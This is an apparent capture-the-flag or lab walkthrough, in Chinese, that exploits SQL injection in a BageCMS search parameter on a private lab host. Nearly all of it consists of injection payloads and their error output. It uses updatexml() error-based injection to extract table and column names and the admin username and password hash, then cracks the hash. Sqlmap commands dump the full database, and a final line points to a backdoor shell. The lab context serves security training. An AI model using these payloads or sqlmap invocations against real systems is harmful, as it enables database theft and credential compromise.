1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| 1.报错----》存在注入 http://192.168.22.129/index.php?r=vul&keyword=1' # CDbCommand 无法执行 SQL 语句: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
2.显示当前库 http://192.168.22.129/index.php?r=vul&keyword=1' and info() --+ # CDbCommand 无法执行 SQL 语句: SQLSTATE[42000]: Syntax error or access violation: 1305 FUNCTION bagecms.info does not exist
3.报错注入获取铭感信息 http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) --+
4.得到表名 http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1)) --+ # CDbCommand 无法执行 SQL 语句: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~bage_admin~'
5.获取列名 http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='bage_admin' limit 1,1),0x7e),1)) --+
http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='bage_admin' limit 2,1),0x7e),1)) --+ # CDbCommand 无法执行 SQL 语句: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~password~'
6.获取用户名,密码 http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select concat_ws(':', username, password) from bage_admin limit 0,1),0x7e),1)) --+
7.由于密码位数太长,需要截取获取后面的数据 http://192.168.22.129/index.php?r=vul&keyword=1' and (updatexml(1,concat(0x7e,(select concat_ws(':',substring_index(password,'f',-4)) from bage_admin limit 0,1),0x7e),1)) --+ # CDbCommand 无法执行 SQL 语句: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~b36680850768ff1b7f2a~'
用户名:密码 admin:46f94c8de14fb36680850768ff1b7f2a 密码解密得:123qwe # sqlmap注入 sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --batch
sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --current-user --current-db --is-dba --passwords --batch
sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --batch --dbs
sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --batch -D bagecms --tables
#到处所有表,所有字段内容 sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --batch -D bagecms -tables --columns --dump
sqlmap.py -u "http://192.168.22.128/index.php?r=vul&keyword=1" --batch -D bagecms -T bage_admin --columns --dump +----+----------+----+---------------------+---------+-------------------+-------------------------------------------+----------+----------+-----------+-----------+-------------+-------------+----------------+-----------------+ | id | group_id | qq | email | mobile | notebook | password | realname | username | status_is | telephone | create_time | login_count | last_login_ip | last_login_time | +----+----------+----+---------------------+---------+-------------------+-------------------------------------------+----------+----------+-----------+-----------+-------------+-------------+----------------+-----------------+ | 1 | 1 | 0 | bagecms@bagecms.com | <blank> | flag{eS3sd1IKarw} | 46f94c8de14fb36680850768ff1b7f2a (123qwe) | <blank> | admin | Y | <blank> | 1569240455 | 17 | 192.168.22.129 | 1637839057 | +----+----------+----+---------------------+---------+-------------------+-------------------------------------------+----------+----------+-----------+-----------+-------------+-------------+----------------+-----------------+ http://192.168.22.128/index.php?r=special #后门shell
|